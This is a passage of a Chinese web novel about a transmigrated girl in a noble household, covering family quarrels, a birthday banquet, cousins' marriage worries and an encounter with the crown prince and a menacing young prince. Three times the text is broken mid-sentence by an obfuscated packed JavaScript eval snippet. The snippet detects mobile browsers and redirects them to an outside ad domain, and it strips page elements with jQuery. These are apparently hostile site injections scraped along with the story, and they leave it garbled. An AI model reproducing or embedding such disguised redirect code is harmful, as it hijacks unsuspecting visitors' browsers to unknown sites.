许曈想,就算是老夫人让杜沅过来的,但她也没必要非要这个时候拉上许晢,之所以闹这么大到底还是想要刺刺花姨娘母子,如果老夫人来得不及时的话,顺便打打许晢也能消消她的怒气。她估计是巴不得老夫人晚点儿来呢,不过既然来了,她也没什么损失,反正吓吓花姨娘刺刺许定的目的已经达到了,其他的事情——往后的日子可长着呢。 老夫人由着杜沅扶着自己坐下,许定似乎挺怕老夫人,垂了手候在下首:“母亲。” 老夫人看都不看他一眼,只是看向跪着的许旻和许曈,和颜悦色道:“十一和阿曈也起来吧。” 两人小心地看了许定一眼,许定眼观鼻鼻观心:“祖母叫你们起来便起来吧。” 许旻连忙拉着许曈站起来,拉着她向老夫人行礼:“祖母安好,祖母怎么过来了,惊动了祖母孙儿怎么过意得去。” 祖孙两人心照不宣地一笑而过,老夫人面色变得柔和,看了许晢一眼,朝着按着他的仆妇点了点头道:“还不快放了十四。” 说罢转向许定:“发生了什么 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“怕什么?”老夫人看了她一眼:“正因为一直跟着你,所以先前才出了事,我还没有罚你呢——有你这样教养孩子的吗?无论如何,十四是不能再养在你跟前的了,没得好好一个孩子走岔了。” “爷——”花姨娘见老夫人执意,只好转向许定,楚楚可怜。 许定不敢接话,花姨娘这举动却是惹恼了老夫人和杜沅,杜沅起身朝着老夫人点头:“母亲的教诲媳妇儿记住了,我会好好教养十四的。”许曈偷偷打量,发现她虽然应了,可其实面上是不太乐意的。 “还有阿曈,”老夫人垂眼:“阿曈的情况你也见着了,你既然是她母亲,便应该好好照顾她好好教养才是——从今后,阿曈每日除了要去闺塾那里之外,回来的时候还要到你母亲那里去聆听教诲。” 许曈乍一被点名,有些讶异,小心地看了杜沅一眼,低头应道:“好。” 杜沅也一直打量着许曈,知道自己拗不过老夫人,虽然没有像对许晢那般抵触,可许曈看出她还是没什么兴致。 她对许曈其实也是生疏得很,许曈心中明了,不免有些怯怯不安,杜沅又看了看许旻小心护着许曈的样子,叹气道:“既如此,你们在我身边可得小心行事,若是再犯了错,不管是谁——我可不饶的。” 花姨娘似乎仍旧要说些什么,许定一个眼神过去,便不敢言语。 杜沅看在眼里,嘴角微微上扬,似带嘲讽之意,转向老夫人:“许晢这事情既然揭过了,那十一和阿曈今天的事——” “今日之事不能就这么揭过了,”许定打断杜沅的话,转向老夫人:“这种事情有一便有二,可纵容不得。” 杜沅冷笑不语,只是看着许定,许定似乎知道她眼神里的意思,讪讪然避开她目光。 杜沅看了他好半晌,又看了一眼花姨娘,朝着老夫人道:“先前说好这事儿放到一块,既然许晢免了处罚,那么十一与阿曈那事便算了吧——左右又不是很忙大事,又不至于到谋财害命的地步,许晢的事情都可以免,十一和阿曈那点事,又算得了什么呢。” “事关十一前程,怎么能如此随意?”许定不满地看了杜沅一眼,转向老夫人:“母亲这事情便由儿子做主,保证让他们不会再犯。” 老夫人不接话,只是看着许定,许久之后轻轻叹道:“若你像十一这般大时有这分觉悟,我也不至于为你操碎了心。” 杜沅闻言,忍不住一笑,许定却是涨红了脸。 16. 016 寿宴 若许定年轻时收敛一些,也不至于在外闹出个那般荒唐的名声,在妻妾子女下人面前被老夫人揭了底,许定一时面上挂不住,尴尬了半晌,才道:“正因儿子以前虚度了光阴,才不想让十一重蹈覆辙。” “那倒不会,”老夫人叹气:“十一有个好母亲,比之你当年,可强多了。” 她夸杜沅,也就是在贬低自己,杜沅不好接这话——她不好坦然接受老夫人的夸赞,但要是跟老夫人谦虚一番,就显得有些虚情假意了,毕竟许定这个人的存在太难以逾越——只好沉默了。 许定也不好接老夫人的话由,之好道:“让母亲费心了。” 顿了顿,还是不愿意轻饶了许旻与许曈:“然而今日之事,十一也该有个教训——这种事有一便有二,学业之事,容不得半分倦怠。” 老夫人敛眉:“十一逃学自然是不对,可是阿曈又做了什么,值得你大动肝火?” 许定面色一僵,定了定神道:“许曈作为妹妹,兄长贪玩,非但不加以规劝,反而听之任之——” “原来你还记得他俩是兄妹,”老夫人打断他的话,长叹一声:“我以为你俩早忘了,自己其实还生有一个女儿呢。” 她这话说出来,许定顿时呆住,杜沅却是低下头,默然不语。 老夫人各看了他们夫妻一眼,幽幽一叹:“十一和阿曈手足情深,本是好事,你们还不如十一来得懂事呢。” “我知你们对阿曈有心结,可她毕竟是你们骨血,一味冷待逃避也不是办法,”老夫人低头:“如今阿曈开了窍,比以往清明一些,你们也该担负起为人父母的责任,这些年,十一代你们做了本该是你们做的事,你们应当觉得羞愧。 许定看了许曈一眼:“可是——” “他们一回来我便知道你要寻他们兄妹麻烦,我却没有立即过来,你知道是为何吗?”老夫人随口一问,许定自然是摇头,老夫人叹气:“老三家的大郎过来见我,说谢家七郎登门,说了一些事情。” 老夫人不理许定,只是看向许旻:“谢家七郎说褚先生欲收你入门墙,是否确有其事?” “是,”许旻点头,又有些泄气:“然而我……愚钝,没能领会先生的意思,不小心回绝了先生。” 许定和杜沅本来听到褚先生的名字,面露喜色,听许旻说完,顿时又变了色。 许定颇有些恨铁不成钢之感:“你——” “褚先生这人,我也算是有几分了解,其人虽然孤妄,却也不是一时兴起之人,”老夫人却不像许定杜沅那样沮丧:“他遣谢家七郎来,说明这事仍有转圜的余地。” “明日让老三带着十一登门道歉,备好拜师礼,这事还是有机会能成的,”老夫人看了一眼跃跃欲试的许定:“你就不要去添乱了。” 许定还待要说什么,老夫人看了他一眼:“有异议?” “没有,”许定低头:“母亲教训的是。” 老夫人起身:“这事我做主,便这样罢了,儿孙自有儿孙福,十一不是不懂事的,他自有分寸,你也不该太拘着他了,你像他这么大的时候,还没他这般懂事呢。依我说,少年家便该有少年家的心性少年家的日子,太过严苛反而是坏事,往后十一也不用每日到你这儿来,在褚先生那里学了一天也够累的了,余下的工夫便该好好歇息游玩,免得小小年纪累坏了可不好。” 许定杜沅皆沉默不接话,老夫人继续道:“既然兄妹在一处,往后十一与阿曈便一道回来吧——只是阿曈毕竟是女儿家,凡事要处处小心,十一既是兄长,便该着意些才是。” 不理会许旻的开心,老夫人又看了许定一眼:“往后不用往你们父亲这里来了,回来了之后,十一便和阿曈一道去往你母亲那里。” 许定吃瘪,终究是不敢反驳,只好点了点头。 许曈叹气,这事情,总算是揭过了,顺便的往后她能够多与许旻来往且许旻不用再被许定压着读书——算是因祸得福吧? 她可不希望许旻小小年纪便承受太多压力,老夫人说的对,小孩子便该有小孩子的生活才是,她可不希望到时候许旻变成个只会读书的呆子,劳逸结合才有益身心健康。 * 四月十一是许家老夫人六十大寿,入了四月,许家就已经开始忙活起来,快到的那几天,连着好几日,许旻不用去褚先生那里,许曈许昤还有许昀也不用到闺塾去,几家人都是忙里忙外的她们年纪虽小也不好置身事外——说实话在许曈看来,真是不知道在忙些什么,而且即使她们留在家中,也帮不了什么忙。 如今许曈每天醒来后第一件事,便是去老夫人房内请安,然后跟着杜沅回去,在杜沅跟前老老实实的读书习字,偶尔和杜沅说说话,并没有什么波澜。 许曈知道,她们两人都在彼此试探彼此习惯对方。 于许曈而言,虽然前世自己年纪也不大,也的确比如今的杜沅年轻,可无论如何也不至于把杜沅当上一辈人,可是自己却乍然成了对方的女儿,许曈离自己的幼年时代已经太远,早已经忘记了这个年纪的小女孩应该是怎么过日子的——何况是古代的女孩子。 于杜沅来说,这个女儿的出生本就是一件不值得欢喜纪念的事情,几年间刻意忽略视而不见,而今突然发现许曈与过去很不一样,而且两人受了老夫人的命要好好相处,可是怎么相处,却是一个难题。 她们都在彼此磨合,要让她们之间突然和和美美“母女”情深毕竟是不现实的,对于这段亲子关系,许曈但求无过,杜沅大概是不求有功——倒也相安无事。 从四月开始,便陆续有人前来拜访,许曈跟在杜沅身后看杜沅与贺氏行事往来,也算是受益良多——比如说,至少能把许家二房的人给认得差不多了。 人生七十古来稀,在但其实不论古代现代,六十岁都算一个非常重要的节点,毕竟是大寿,老夫人的身份又摆在那里,自然要大办,寿宴从初九开始延续五天,初九是开粥布施与民同乐,初十是宴请外客,主要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142878|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一些官场上的往来,十一是宴请的是亲眷,主要是与许家有姻亲关系的人家以及许家的旁支,十二是家宴,也即三房人凑在一处庆贺,十三是开恩让下人庆贺的日子。 初九的事情与许曈她们都是没什么关系,初十开始,许家其他姐妹一道迎接前来贺寿的女眷。 估计是因为许曈有“前科”在,初十这天来的人又比较重要,似乎是怕许曈生事也怕别人议论许曈,所以没人敢让她出去迎客,她一整天便是呆在自己院中不出来,忙里偷闲,倒也是自得其乐。 十一日老夫人正日子这天,她却是不能继续躲着了,可能是她突然“好”了的这件事情已经传遍了,亲戚们来的时候总是点名要让她过去,仔细说上一番话,表示表示关切,许曈只好小心应对,好在许昤也过来,偶尔许宏的长女许暚还有许昀也会帮她说些话,倒也没出错。 依着傅家与许家的关系,傅容萱姐妹自然是在十一这一日到的许家,不只是傅容萱与傅容芷两人随着两位舅母出席,大表姐傅容堇也跟着过来了。 傅容萱见了许曈似乎很是欣喜,与她十分亲昵的模样,拉她过去说话。 老夫人见她们姐妹情深,倒是欢喜:“阿曈你带容萱到你那里去歇歇,时候还早呢,到时候再让人去唤你们便是了。” 傅容萱似乎是找她有话要说,叫上许昤一起过去了,留着许昀以及许宏长女许暚陪着傅容芷与傅容堇,傅容萱似乎也没打算叫上傅家姐妹,只匆匆忙忙拉了许曈许昤便告退。 杜沅对傅容萱与许昤似乎放心得很,许曈还没来得及请示,杜沅便摆了摆手:“去吧。” 傅容萱不是第一次来许家,却是第一次踏足许曈住的地方,拉着许昤专程跑去清歌曾经的住处“缅怀”了一番,哀叹了几句,这才转向许曈:“昨日可来了什么大人物?” 虽然问她而不问许昤是因为许曈毕竟是二房正经的主人“主人”,许曈却有些赧颜,她可不知道初十这天许家到底来了什么人,至于大人物——更是不知道了,许家如今还羞于让她见人呢。 许昤笑着让其他人退下,三人坐在一处,许昤似乎知道傅容萱是什么意思:“昨天他可没来——依我看,他要么今天来,要么明天来。” 傅容萱有些着急:“他若是明天来,那我可没机会见到他了。” “他?”许曈有些不解:“谁啊?” 许昤拍拍她的头:“就是皇后姑姑生的表哥。” 许曈有些嫌弃别人摸着急的头,却又不好推开许昤,只好作罢,点了点头:“哦,是他。”许宁的儿子、太子殿下、很有可能是以后的皇帝陛下的宇文询。 她有些想不通反正她们几个都是没有机会入宫的,傅容萱何至于对宇文询抱有那么大的兴趣,傅容萱嫌她没有觉悟——“不管入不入宫,上面有人好办事,跟未来的皇帝打好关系总是没错的,哪怕是不能打好关系,混个名字熟悉熟悉也是很好的,再次的说,能见到那种大人物,也算是面上有光。” 17. 017 官配 许曈叹气,她们俩总以为自己什么都不懂,其实她是明白的,只是当初她便错过了机会,如今也不好辩白什么,只能是点了点头。 傅容萱心下的确是焦急的:“按理说昨日今日明日他什么时候来都可以,昨天是宴请官员,他不来倒也没什么,今日宴请亲戚,他总该来了吧?我就怕他为了表示与你家老夫人的亲昵之意,专程选了明天来——那样的话,我可是真的见不着啦。” 许昤因笑:“不急——我更怕他们直接赏赐下来,人不到那就无趣了,虽然是亲戚,可是他那种情况,似乎要见上一面挺难的。” “你当然不急,反正你是有机会见着的,”傅容萱一哂:“这个朝代以孝为先,他们应该还做不出礼到人不到的事情来。” “不提这个了,”傅容萱似乎也不想让自己显得太刻意,转移话题道:“听说小九你上次遇见了谢研?” 许曈愣了一瞬,有些不自在的低头:“怎么了?” 傅容萱一拍手:“当初我怎么没想到可以这么办!” “可惜二哥到底是年长了几岁,”傅容萱叹气:“何况他如今也不在京中。” 许曈不明所以,不知道她为何突然提起傅容白,不由自主朝许昤看了一眼求助。 许昤还不待解释,傅容萱凑近了许曈:“小九你可看清了谢研究竟长什么样?” 许曈点了点头,见傅容萱似乎在等她下文,小心翼翼看了看四周:“比哥哥好看一些。”这话可不能让许旻听到了。 许昤舒了口气:“那倒也还好,表姐你可以安心了。” “安心什么啊,”傅容萱摆摆手:“其实他长什么样我也不是很关心。” 既然不关心又何必问她,许曈叹了口气不戳穿,但难免好奇:“怎么突然问起谢七了。” “倒也不是突然想问,只是一向没什么机会遇到而已,”傅容萱叹气:“越是见不到他我就越担心,长辈们越是不让我与他接触,说明我与他之事只怕是十之八、九了。” 许曈感觉自己听得云里雾里的:“你与他的什么事?” 傅容萱叹气,不怎么想回答的样子,许昤过来小声給许曈解释:“傅家与谢家,只怕是要联姻的。” 许曈看了傅容萱一眼:“表姐跟……谢七?” “这是倒也没说动,小九你不要往外说,”傅容萱有些无奈:“其实虽没有对外明言,但想来不会有什么意外了——我们这几家之间互有联姻,几辈下来,这一辈要么与谢家要么与薛家,而与我适龄的,不是谢研便是薛枬,不做他想。” “薛……”许曈默默念着这个姓氏,怔忪了一会,回过神来,摇了摇头,突然就有点兴致缺缺。 傅容萱听到她开口,也没看过来,点了点头道:“薛家如今在外任,估摸着几年之内不会回京,而我父母定然不舍得我远嫁,所以思来想去,薛枬被排除之后,便只剩下谢研了。” 许曈不自在地道:“其实谢七也不错的。” 又觉得自己这么说容易引起误会,怕傅容萱万一生气牵连自己,想了想果断祸水东引:“连父亲都夸他,想来是挺不错的。” “算了吧,如果是你凭第一眼直觉跟我说不错我还能安心些,”傅容萱叹气:“能让小表叔欣赏的人——” 她的话戛然而止,许曈无言以对——的确,依许定那脾性,的确是让人有些担忧。 似乎意识到不管许定如何,在别人女儿跟前议论长辈还是有些失礼,傅容萱不自在的轻咳了一声:“不提别人,小九你觉得谢研如何?” 许曈莫名:“问我你可就问错人了。” “问你才是问对人呢,”傅容萱凑过来:“你心思单纯,应该更能辨别出好赖。” 许曈心说自己怎么说也是两世为人,又跟着她们两个穿越女人精厮混,早就不是以前那个许曈了,就算傅容萱相信她的直觉,许曈虽然也相信自己的直觉没错,谢研并没有值得诟病的地方——关键是这话傅容萱爱听吗? 傅容萱既然抵触与谢研的婚事,肯定听不得别人在她面前多夸谢研,许曈也不敢招她但是也不能昧着良心说假话,只好尽量装作平和的、不带任何偏向的把当日许旻拜师的始末说出来,任由傅容萱自己评判。 “与我所料不差,”傅容萱听完叹气:“果然是迂腐无趣得很。” 许曈呆住——她真没想明白,自己到底那句话语气不太对,以至于让傅容萱生出了这样的偏见。 “别多心,”许昤摸了摸许曈的手:“跟你没关系,跟谢研也没关系,只是有些无奈罢了。。” 许曈点头——傅容萱抗拒与谢家的联姻,其实也未必就是对谢研抱有偏见,这些事的重点不在于谢研做了什么,而在于——他是谢研,这个存在便足以令傅容萱不快了,想来也是,什么家族联姻,基本上等同于包办婚姻,傅容萱有所抵触也是正常的。 只是这种事情,别说是许曈傅容萱,其实长辈也是无可奈何,要不怎么会有当初杜沅嫁许定之事呢——说白了,还是时代的悲剧。 她以前总不明白,许昤为何小小年纪便开始为自己婚嫁之事筹谋,如今总算是明白了,许昤那才是居安思危,哪像自己,得过且过。 如今被傅容萱的婚姻之事一提醒,许曈也不由得开始担心起来了——依着许定和杜沅对她的不闻不问……想来她的将来肯定不会太好过。 三姐妹在许曈屋内同时长叹一声,许昤安慰傅容萱道:“虽然没有其他的选择,但是听小九的话,好在谢七样貌至少还是不错的,外边传言性情也温和,而且跟在褚先生身边,据说褚先生门下不会出朽木,想来除非是遇着什么天大的变故,且谢家与傅家一样没有纳妾的规矩,谢七应该还算是个不错的选择,表姐你别太过忧心了。” “谁说我担心了,”傅容萱摇头:“你说的我都清楚,然而只要一想到嫁谢家,就觉得无聊透顶,人生一点乐趣都没有。” “小九——”傅容萱凑近许曈:“你真的觉得谢研还不错啊?” 许曈不明所以地点了点头——她对谢研没什么恶感,自然也不能昧着良心诋毁对方。 “那太好了,”傅容萱声音低低的:“你以后让十一多与谢研接触——” 许曈想想许旻对谢研的观感……摇了摇头:“萱表姐这事我只怕帮不了你了,哥哥与谢七不和。”其实也不是不和,不和是双方的,如今是许旻单方面讨厌谢研。 “不是帮我,是帮你啊,”傅容萱摆摆手:“你让十一跟谢研打好关系,以十一那个性子,肯定会忍不住对外炫耀你,听得多了,没准谢研便对你起了兴趣,你也要经常去找十一,没准就能遇到谢研,没准就近水楼台先得月。” 许曈感觉自己额头上应该有三条黑线:“萱表姐你也说了是‘没准’了,那是你自己‘可能’的未婚夫,就这么推给别人真的好吗?” 她本来是想说她才多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142879|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大,考虑这些是不是有些太早,不过许昤在一旁,许曈不想让许昤误以为自己在针对许昤,便打住了,不过也有些疑惑:“不过表姐你与昤姐姐关系更亲近一些,为什么不找昤姐姐帮你?” 如果傅容萱只是不愿意嫁谢家想把谢研推出去,为什么不先考虑许昤而来找她——许曈狐疑地看了傅容萱一眼:不会是傅容萱还知道些外人不知道的内幕吧? “想什么呢,”傅容萱无奈:“毕竟有个十一在那里,你比阿昤机会更大一些。” 哪里有机会了……许曈无奈,且不说她如今没有这个念头,就算有,她还顶着过去的名声呢。 “所以说要先培养感情啊,”傅容萱摇着许曈的胳膊:“小九你就帮我嘛。” 许曈背后发麻,不过还是很坚定地摇头:“你找昤姐姐吧。” 许昤叹气:“我倒是想帮,不过不只是因为没有十一那样的兄长帮忙——关键是谢家自己不纳妾,娶妻也从来不找庶生的女儿啊。” 她突然提起这一茬,许曈感觉自己好像是说错话了,顿时闭嘴。 傅容萱也跟着一叹:“阿昤你也是可惜了,其实什么嫡庶除却嫡长子以外,其他的在外人看来并无差别,就像小九和许昀,虽然许昀是庶出,可是她的父亲三表叔有爵位在身,所以在外人眼中,也是许昀比小九身份更贵一些。” 而许昤的父亲比许昀的父亲爵位更高,所以许家三姐妹里,要以出身高低论的话,应该是许昤高于许昀高于许曈,什么嫡庶都是虚的,父亲的地位才是决定一切的基础,要以嫡庶论出身的话,总不能一个七品县令的嫡女跑去嘲讽一个“庶出”的公主说自己是嫡出公主是庶出,所以七品县令的嫡女比公主高贵吧。 何况许曈刚刚想起,许定没品——没品阶也没品格。 “谢家傅家杜家季家薛家这几家都有不纳妾的规矩在,联姻时,都是优先这几家的女儿,没有适龄的才会往外寻,不过也还是先考虑同僚家的嫡女,实在无可奈何,才会考虑皇室宗亲,至于我们家这样靠功勋起家的,就更是排在最末了,当初要不是赐婚,二祖母和小婶婶也不可能嫁许家,”许昤摆摆手:“除却十一这层关系以外,小婶婶是杜家的也是一个因素,小九也不是许暶——的确是有机会但也不是易事,只怕也得要个赐婚才行,赐婚哪是那么容易的,表姐你还是不要为难小九了吧,再说了,这事情毕竟还没有定下来,再等几年也许会有其他的变故呢,也未必就是谢研。” “算了,我也知道,”傅容萱无奈点头:“就是随口一说而已,也没抱希望。” 许曈舒了口气,她是生怕傅容萱魔怔了,真要她去接近谢研——她可做不来这事。 正在沉默间,外边有人急急忙忙过来唤她们:“小姐,表小姐,老夫人找你们过去呢。” 傅容萱带着两人起身,状似不经意地问来人:“什么事这么慌慌张张的。” “听说——”小丫鬟咽了咽口水:“听说太子殿下来了。” 傅容萱让丫鬟先行一步,偏头跟许昤道:“其实也还是有机会的。” 这说的是跟太子打好关系以后求赐婚吧——许曈吃不准傅容萱到底是认真的还是开玩笑,便也不接话,许昤不放心,嘱咐了许曈一句:“小九,表姐是开玩笑的,今天说的话,你别往外边说。” 她们那些话说出去,的确有些不太妥当,许曈点头,又忍不住叹气——她们俩还是把她当小孩儿。 18. 018 表姐 她们到达许家二房正院的时候,宫里来的内侍正在宣宫中给老夫人、给许家的赏赐,三人既然来得晚了,也不好弄出太大的动静,只悄悄立在老夫人、贺夫人等女眷身后。 自以为隐蔽得很好,不会被发现,许曈悄悄抬头,想要看一眼传说中的、就连傅容萱和许昤都无比好奇的太子殿下——她父亲的孪生姐姐所生的长子。 她大概知道太子比许旻大两岁,隔着人群望过去,三个衣着华丽的少年之中居中的那个,应该就是她“传说中”的表哥了。 傅容萱似乎也偷看了一眼,低声对许昤道:“那两人怎么也来了。” 许昤也低声祈祷着:“这大日子里,可别出什么事才好。” 许曈虽然好奇,可是也不敢问,但是明白傅容萱她们担忧的或许是太子身边的两个人,不由得偷眼打量了一番。 太子左边是个跟他一般身高年纪的少年,模样与太子有几分相似,估摸着是兄弟之类的,之前傅容萱她们有跟许曈提过皇室里的人,看着年纪,那人应该是陆贵妃所生的二皇子,太子同父异母的兄弟。 至于太子右侧的……小胖子,许曈就无从得知其身份了。 如果许曈预感没错的话,傅容萱和许昤戒备的,应该就是这个小胖子。 许曈偏头思考自己有没有遗漏过傅容萱许昤是不是跟自己提过而自己忽略了,眼神一瞟过那小胖子身上,发现他眼神张望似乎在找些什么,许曈随着他眼神看了一会,实在猜不出他到底想寻什么正打算不予理会时,小胖子的眼神终于定住,隔着人群,似乎看向了许曈。 那眼神,好似秃鹫盯住了猎物,胶着地锁定了目标,随时打算俯冲而下,将猎物撕碎。 许曈心一惊,低下头悄悄将身形躲在众人身后。 不知道是不是她多想了,即使身形完全被挡住,她也能感觉到那视线并没有就此放过她,仿若狙击枪,穿过了人墙,牢牢锁定了她的位置。 偏偏这种时候,她绝对不可能早退。 内侍的宣名终于到了尾声,老夫人领着许宏许安将太子一行迎入正堂,陪同的还有一对老夫妻,听许昤介绍,那对老夫妻就是之前许昤说许曈估计也见不到的许家三房的三叔租以及三祖母任氏。 今天是大日子,难得许家三房齐聚,又有其他亲近的亲戚,傅容萱和许昤到底还是照顾许曈,小声跟许曈提点谁是谁。 她们毕竟离得远,许曈眼见那小胖子也跟着太子进去了,总算是舒了口气。 她们毕竟是小辈,这种大场面自然是轮不到她们上场的,不过也还是不能走,与其他姐妹一道在偏厅待命——即使太子根本就不会召见她们。 不能与太子亲近联络感情,许曈原以为傅容萱会很失望,谁知她和许昤却是一脸“劫后余生”的表情,要是能走,只怕她们肯定会头也不回。 这跟她们一开始的期待似乎不符,许曈正想问她们为何,突然有老夫人身边的素月过来:“九小姐,请随奴婢过来,几位殿下要见小姐。” 太子要见她? 许曈感觉十分莫名其妙,尤其是在看到傅容萱与许昤一脸担忧,顿时慌得不行,再看过去,别人眼中除了少许的歆羡之外,更多的是同情与担忧,心下更慌了。 不是说好太子殿下性情温润,为何所有人都一副她将会羊入虎口的样子——难不成之前她们给她的信息都是在骗她的不成?难不成实际上太子殿下是个心狠手辣的角色? 傅容萱抓着许曈的手,凑近过来小声说了一句“小心晋王世子”便松开手退下。 晋王世子?不是太子也不是二皇子……难不成就是那个小胖子? 许曈心中没底,跟着素月出了偏厅,沿着长廊走到正堂外,素月候在一旁,由贺夫人领着许曈过去,正堂这个地方,许曈是第一次来,许家二房如今是许曈的三伯父许宏当家,虽然没分家,不过许定夫妇毕竟不住这边,而许曈的住处,就更偏远了。 老夫人住的院落,在正院后方,许曈平日里最多也就是到老夫人院中,对正院实在是陌生得很。 绕过屏风,终于见到了人,正座的地方空置着,老夫人没坐,太子也没坐,以礼,太子为尊,理应上座,于情,老夫人是长辈也是寿星,正座也不会有人是什么——不过太子和老夫人谁都没居中而坐,而是各自坐在正座下首。 这样一来,无论情理,都挑不出错来,许曈最近恶补了许多,看似一个简简单单的座位问题,其实内里的门道却是很多的——当然,度许曈而言,这是个很难理解的问题,没有人跟她解释的话,只怕想破头也想不明白,就一个让座的问题,里面就能牵扯无数有关君臣与孝道的辩论。 而且眼下并不是想这些的最好时机。 贺氏领着许曈近前,带着许曈进礼:“见过太子殿下,二皇子殿下,晋王世子殿下。” 许曈依照贺氏教的现学现卖:“见过太子殿下,二皇子殿下,晋王世子殿下。”尔后拘束地侍立着。 说来也是尴尬,谁都没想到,太子突然起意要见许曈,所有人都没准备,也没人事先教许曈如何面见类似于太子这样的人的礼仪。 虽然是临时抱佛脚,不过看样子似乎也不算出错。 太子殿下笑了笑:“表妹无需多礼,与其他兄弟姊妹一般,唤我一声‘表哥’便好。” 许曈小心觑了一眼老夫人,见老夫人轻轻点头之后,才小心开口:“是,表哥。” 太子殿下也并不多说什么,让随行的内侍给许曈送了表礼,便打算让她退下—— 许曈还来不及安心,太子身边的小胖子——大概就是之前唤做“晋王世子”的小男孩突然起身,过来抓住许曈的手臂:“太子哥哥你们在这儿说的话委实是无趣得很,我出去透透气。” “阿谌!”太子殿下难得的面色微变:“不得无礼。” 想了想又道:“你若实在觉得无趣,让其他表兄弟陪你,你不要麻烦九表妹。” 许曈感受了一些对方在自己手臂上的力道,感觉不是“麻烦”的问题,分明是“找麻烦”才是,这人只怕是来者不善啊——她只能寄希望于太子能劝服对方。 她好像明白了,为什么别人对于太子要见她一事,又惊奇又担忧了。 太子是男子,就算是表兄妹,也不会无缘无故只召见她——如今想来,只怕是这晋王世子想见她。 至于对方为何想见她——许曈总觉得不会是什么好事。 许旻已经顾不上什么,起身上前来:“舍妹身子不好,也不熟悉这府中陈设,世子若是有想四处走一走,旻陪同世子走一遭。” 太子也劝道:“便让十一陪你,表妹毕竟是女子,可跟不上你——” “太子哥哥这是什么话,”晋王世子并未松手:“我当然省得的。” 老夫人也有些担心地开口:“小九体弱,世子换个人吧。” “老夫人事怕我欺负她不成?”他正色道:“太子哥哥是我兄长,她换你一声表哥,那我与她自然也是亲戚,你们放心吧,我从来不欺负自家人的。” 低着头的许曈微微翻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142880|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个白眼,如果傅容萱与许昤在,只怕也要问——不是自家人就可以随意欺负了是吧…… 他推了推许旻:“才不要你跟着。” 又拉了拉许曈的手臂:“算起来你比我大了三个月,既然太子哥哥唤你表妹,那我就喊你一声表姐吧。” “表姐这里实在是待着乏味得很,”他抓着许曈手臂不放:“你带我在你们府中随意走走吧。” 许曈被这一声“表姐”喊得失了神,想想算下来自己的确是对方“表姐”,又被他撒娇说得心软,见他着实是可怜,也许真的待得烦闷了想出去透口气,便打算点头—— 太子出声阻止:“让十一陪你。” 他走到晋王世子身侧:“阿谌你别忘了今日你是怎么跟我保证我才答应带你到许家的,听话老老实实待在我身边,不要为难表妹。” 顿了顿,太子又道:“否则我便告诉皇叔了。” “太子哥哥我既然跟你保证过不会惹事便说到做到,”晋王世子空闲的那只手指天发誓:“太子哥哥你是不信我吗?” 太子颇为无奈:“好好我信你,你若是想游一游这府邸,自然会有人给你做向导,不是非得要麻烦表妹。” “麻烦?”晋王世子转过来盯住许曈:“表姐你觉得麻烦吗?” “……”许曈无言以对,就算觉得麻烦也不能直说啊,只好道:“我对这府中也不熟悉,让哥哥带你吧。” 晋王世子换了一副泫然欲泣的表情:“所以表姐你是嫌我麻烦吗?” 这一声声“表姐”,一句句撒娇下来,许曈哪里受得住,忍不住就点了头:“那我——” “阿曈/表妹,”许旻与太子同时开口:“不可!” 许曈见所有人都一副戒备的样子,心中隐隐狐疑,又想起傅容萱说让她小心晋王世子,虽然傅容萱偶尔有些观点许曈不是很赞同,但是傅容萱总不会无的放矢,她看了看身边这个一脸纯良的晋王世子,又想起之前在外边时那种怪异的感觉,虽然不是很清楚,却也打算听从大多数人的意思—— 刚想点头,晋王世子又抓着她的手:“表姐——” 许曈败下阵来:“好,我带你走一走吧,不过哥哥没骗你,我是真的不熟悉路,多带些人吧。” 太子无奈,吩咐身边的内侍,:“你们跟着世子与表妹。” 又嘱咐许曈:“表妹万事小心。” 看了一眼晋王世子紧抓着许曈手臂的手,压低了声音对许曈道:“他若松手,你便李他远远的,且万分小心。” 许曈被说得心中发毛,不免看了一眼晋王世子。 晋王世子手臂又抓紧:“太子哥哥难得我与表姐投缘得很,你不要来挑拨离间。” 太子似乎一点都不信他,长叹了一声。 一直安安静静的二皇子突然起身:“皇兄若是不放心,我随阿谌他们一道好了。” 太子看了二皇子一眼,没有说什么。 晋王世子已经拖着许曈往外走了,许旻不放心,也跟着告辞,想要跟过来。 出了正堂的门,晋王世子朝着身后的人道:“你们都离我远一点,不许靠太近。” 许曈隐隐觉得不太对,明明是陪他逛逛园子而已,怎么突然感觉自己好像是被劫持的人质一般,那不然人靠近的话下一句怎么感觉是要撕票? 许曈看了一眼身边跟自己“同龄”的小孩,据他自己说他比她还小了几个月,不过就是个孩子而已,能做出什么事来,从傅容萱到太子都那么担心,也许只是他们多想了吧。 19. 019 獠牙 